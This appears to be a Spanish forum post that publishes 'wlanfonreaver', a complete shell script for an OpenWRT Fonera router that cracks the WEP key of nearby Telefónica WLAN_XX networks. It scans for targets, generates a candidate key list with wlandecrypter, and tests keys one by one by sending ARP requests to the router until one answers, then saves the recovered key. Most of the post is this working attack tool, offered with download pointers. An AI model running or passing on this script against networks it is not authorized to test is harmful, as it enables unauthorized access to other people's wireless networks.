wlanfonreaver

¿Para que sirve?

Pues bien este script junto con el generador de claves wlandecrypter nos ayuda a saber la contraseña de una red WLAN_XX sin necesidad de que exista trafico en la red.

¿como lo hace?

Lo que hace el script en primer lugar es hacer un rastreo de las redes al alcance y filtrar las WLAN_XX para que seleccionemos un objetivo, una vez seleccionado el objetivo se conecta a dicha red con una contraseña cualquiera ( en este caso 11111111).

Luego genera un archivo con las posibles contraseñas utilizando para ello wlandecrypter, luego coge el archivo de contraseñas y la prueba una a una en al conexion con la red esperando a que el router responda a un ARP enviado con arping. Una vez tiene respuesta ya sabe tiene la contrasela correcta asi ke la muestra por terminal y la guarda en un archivo con el nombre de la red seguido de '.key'

¿Que hace falta?

Pues basicamente una fonera con OpenWRT Backfire (10.03) <enlace>

El generador de diccionario wlandecrypter, en este caso la version 1.3.2 copilada para la fonera lo puedes decargar de aqui copialo al directorio /bin de la fonera

El script (se puede sescargar de aqui)

wlanfonreaver.sh

#! /bin/sh

#Programa creado LSDios (lsdios@gmail.com)

#para http://www.seguridadwireless.com

ifconfig ath0 down

ifconfig ath1 down

wlanconfig ath0 destroy

wlanconfig ath1 destroy

wlanconfig ath1 create wlandev wifi0 wlanmode managed nosbeacon

ifconfig ath1 up

sleep 3

interfaz=ath1

tmpdir='/tmp/wlanfondecryp'

mkdir $tmpdir >> /dev/null

rm $tmpdir/*

scanred () #Rutina para escaneo

{

/usr/sbin/iwlist $interfaz scan >> $tmpdir/scan.txt # Escaneamos y lo guardamos en un temporal

cat $tmpdir/scan.txt | grep 'ESSID' | awk -F '"' {'print $2'} >> $tmpdir/essid.txt #separamos los datos (ESSID, BSSID, canal, etc) en diferentes archivos

cat $tmpdir/scan.txt | grep Quality | awk -F '=' {'print $2'} | awk -F '/' {'print $1'} >> $tmpdir/quality.txt

cat $tmpdir/scan.txt | grep Channel | awk -F ' ' {'print $4'} | awk -F ')' {'print $1'} >> $tmpdir/canal.txt

cat $tmpdir/scan.txt | grep 'Encryption' | awk -F ':' {'print $2'} >> $tmpdir/clave.txt

cat $tmpdir/scan.txt | grep 'Address' | awk -F 's:' {'print $2'} >> $tmpdir/mac.txt

inicio=1 #Creamos la lista de redes

fin=$(cat $tmpdir/scan.txt | grep 'Cell' | awk -F '-' {'print $1'} | awk -F 'Cell ' {'print $2'} | awk 'END{print $NF}')

while [ $inicio -le $fin ]; do

essid=$(cat $tmpdir/essid.txt | grep '' | awk NR==$inicio)

quality=$(cat $tmpdir/quality.txt | grep '' | awk NR==$inicio)

canal=$(cat $tmpdir/canal.txt | grep '' | awk NR==$inicio)

clave=$(cat $tmpdir/clave.txt | grep '' | awk NR==$inicio)

mac=$(cat $tmpdir/mac.txt | grep '' | awk NR==$inicio)

echo -e $essid "" $mac " " $canal " " $quality >> $tmpdir/scan.list.txt

inicio=`expr $inicio + 1`

done

#Borrando restos

rm -rf $tmpdir/scan.txt

rm -rf $tmpdir/essid.txt

rm -rf $tmpdir/quality.txt

rm -rf $tmpdir/canal.txt

rm -rf $tmpdir/clave.txt

rm -rf $tmpdir/mac.txt

}

selecred () #rutina para seleccion de red

{

#Muestra la lista de redes

clear

echo ""

echo "##############SELECCIONA UNA RED##############"

cat $tmpdir/scan.list.txt | grep WLAN > $tmpdir/scan.list

numopc=`wc -l $tmpdir/scan.list | awk {'print $1'}`

for i in `seq 1 $numopc`

do

echo $i `head -$i $tmpdir/scan.list | tail -1`

done

#Seleccionar

echo ""

echo "Seleccion (de 1 a "$numopc"):"

read n

if [ $n -le $numopc ]

then

head -$n $tmpdir/scan.list | tail -1 > $tmpdir/selec.wlan

essid=$(cat $tmpdir/selec.wlan | awk {'print $1'})

mac=$(cat $tmpdir/selec.wlan | awk {'print $2'})

channel=$(cat $tmpdir/selec.wlan | awk {'print $3'})

clear

echo ""

echo "A seleccionado:"

echo "ESSIS: "$essid

echo "MAC: "$mac

echo "Canal: "$channel

echo ""

else

selecred

fi

rm -rf $tmpdir/scan.list.txt

}

creardicc () #Genera diccionario con wlandecrypter

{

echo "¿Desea generar diccionario con Wlandecripter? (s/n)"

read o

case $o in

s) echo "wlandecrypter $mac $essid $tmpdir/$essid ";wlandecrypter $mac $essid $tmpdir/$essid.keys;;

n) echo "NO";;

*) creardicc;;

esac

}

conectar ()

{

echo "*Apagando firewall..........." # Iniciamos la conexion por WEP

/etc/init.d/firewall stop

echo "ok!"

echo "*Asociandonos al Punto de acceso inalambrico........."


ifconfig $interfaz up

iwconfig $interfaz essid $essid key s:1111111111111

echo "ok!"

sleep 5

iwconfig $interfaz

}

probarclaves ()

{

TSeg=`date +"%S"`

TMin=`date +"%M"`

THor=`date +"%H"`

tping="Unicast"

count=1

for j in `cat $tmpdir/$essid.keys` #Bucle para probar las claves

do

iwconfig $interfaz key s:$j


var=$(arping -c 1 -I $interfaz 192.168.1.1 | grep "Unicast" | awk '{print $1 }')

if [ "$var" = "$tping" ]; then

echo "ok!"

echo "La clave es "$j

echo ""

TSeg2=`date +"%S"`

TMin2=`date +"%M"`

THor2=`date +"%H"`


if [ $TSeg2 -lt $TSeg ] #correcion de tiempo cuandp cambio de minuto o de hora

then

let TSeg2=$TSeg2+60

let TMin2=$TMin2-1

fi

if [ $TMin2 -lt $TMin ]

then

let TMin2=$TMin2+60

let TMin2=$THor2-1

fi

echo "El proceso a tardado "`expr $THor2 - $THor`":"`expr $TMin2 - $TMin`":"`expr $TSeg2 - $TSeg`

echo $essid $mac > $essid.key

echo $j >> $essid.key

echo "El proceso a tardado "`expr $THor2 - $THor`":"`expr $TMin2 - $TMin`":"`expr $TSeg2 - $TSeg` >> $essid.key

break

else

echo $count "Claves probadas"

let count=count+1

fi

done

}

scanred

selecred

conectar

creardicc

probarclaves